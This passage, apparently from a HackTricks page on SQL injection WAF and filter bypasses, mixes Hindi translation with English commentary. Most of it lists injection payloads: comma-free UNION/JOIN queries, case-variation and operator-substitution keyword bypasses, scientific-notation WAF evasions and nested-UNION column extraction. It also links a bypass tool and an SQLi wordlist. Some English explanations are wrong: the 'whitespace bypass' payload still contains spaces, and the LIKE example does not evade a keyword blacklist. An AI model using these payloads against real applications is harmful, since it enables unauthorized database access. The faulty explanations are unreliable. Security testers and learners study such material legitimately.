If the application has a whitespace filter in place, the following payload would be blocked:

' OR 1=1 --

However, by using parentheses, we can bypass the filter:

' OR 1=1)--

This payload would result in the following SQL query:

SELECT * FROM users WHERE id = '' OR 1=1)--

The closing parenthesis closes the existing query, and the double hyphen comments out the rest of the query. As a result, the application will return data from the users table, regardless of the value of the id parameter.

Conclusion

By using parentheses, it is possible to bypass whitespace filters and perform SQL injection attacks. However, it is important to note that this technique may not work in all cases, as it depends on the specific implementation of the filter. It is always recommended to thoroughly test the application for vulnerabilities before attempting any SQL injection attacks.

?id=(1)and(1)=(1)--

कोई कोमा बाइपास

कोई कोमा - OFFSET, FROM और JOIN का उपयोग करके बाइपास करें

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

सामान्य बाइपास

कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोवरकेस का उपयोग करके बाइपास करें

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

Introduction

In some cases, web applications implement a blacklist to prevent certain keywords from being used in user input. This is often done to mitigate the risk of SQL injection attacks. However, if the blacklist is implemented in a case-insensitive manner, it can be bypassed using an equivalent operator.

Bypassing a Case-Insensitive Blacklist

To bypass a case-insensitive blacklist, you can use an equivalent operator that the blacklist does not account for. One such operator is the LIKE operator, which performs a case-insensitive comparison.

Here's an example of how you can bypass a case-insensitive blacklist using the LIKE operator:

SELECT * FROM users WHERE username LIKE '%admin%' --

In this example, the keyword "admin" is blacklisted. However, by using the LIKE operator with the wildcard % before and after the keyword, we can bypass the blacklist. The -- at the end of the query is used to comment out the rest of the query and prevent any syntax errors.

Conclusion

By understanding how a case-insensitive blacklist is implemented and using an equivalent operator like LIKE, you can bypass the blacklist and potentially exploit a SQL injection vulnerability in a web application. However, it's important to note that hacking into systems without proper authorization is illegal and unethical. This information is provided for educational purposes only.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

वैज्ञानिक रूपांतरण WAF बाइपास

आप इस ट्रिक के बारे में अधिक विस्तृत व्याख्या gosecure ब्लॉग में पा सकते हैं।
मूल रूप से, आप WAF को बाइपास करने के लिए वैज्ञानिक रूपांतरण का अप्रत्याशित तरीकों में उपयोग कर सकते हैं:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

कॉलम नामों की प्रतिबंध को दौर करें

सबसे पहले, ध्यान दें कि यदि मूल क्वेरी और वह तालिका जहां से आप फ्लैग निकालना चाहते हैं, के पास एक ही संख्या के कॉलम हों तो आप सीधे यह कर सकते हैं: 0 UNION SELECT * FROM flag

यह संभव है कि आप किसी तालिका के तीसरे कॉलम तक पहुंचें बिना उसके नाम का उपयोग करें इसके लिए निम्नलिखित प्रकार का क्वेरी उपयोग करें: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, इसलिए एक SQL इंजेक्शन में यह ऐसा दिखेगा:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

या एक कॉमा बाईपास का उपयोग करें:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

यह ट्रिक https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ से ली गई है।

WAF बाईपास सुझाव उपकरण

{% embed url="https://github.com/m4ll0k/Atlas" %}

अन्य गाइड

ब्रूट-फोर्स डिटेक्शन सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए हर विषय में एक उबलता हुआ मिलने का समय है।

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥